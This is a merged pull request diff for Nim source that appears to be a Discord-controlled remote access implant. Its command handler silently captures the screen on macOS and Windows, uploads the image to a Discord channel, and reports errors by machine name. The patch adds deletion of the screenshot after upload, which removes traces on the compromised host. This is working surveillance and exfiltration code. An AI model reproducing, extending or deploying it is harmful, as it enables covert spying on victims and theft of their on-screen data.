Merge pull request #1 from Einstein2150/Einstein2150-patch-1
remove screenshot after sending
This commit is contained in:
@ -187,7 +187,9 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
|
||||
if exitCode == 0 and fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
return "screenshot taken and sent!"
|
||||
if fileExists(filePath):
|
||||
removeFile(filePath)
|
||||
return "screenshot taken, sent and deleted!"
|
||||
else:
|
||||
return "failed to take screenshot: " & output
|
||||
elif defined(windows):
|
||||
@ -206,7 +208,9 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
let (output, exitCode) = execCmdEx(command)
|
||||
if exitCode == 0 and fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
return "Screenshot taken and sent!"
|
||||
if fileExists(filePath):
|
||||
removeFile(filePath)
|
||||
return "Screenshot taken, sent and deleted!"
|
||||
else:
|
||||
return "failed to take screenshot: " & output
|
||||
else:
|
||||
@ -310,4 +314,4 @@ proc messageCreate(s: Shard, m: Message) {.event(discord).} =
|
||||
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
|
||||
|
||||
proc main() =
|
||||
waitFor discord.startSession()
|
||||
waitFor discord.startSession()
|
||||
|
||||
Reference in New Issue
Block a user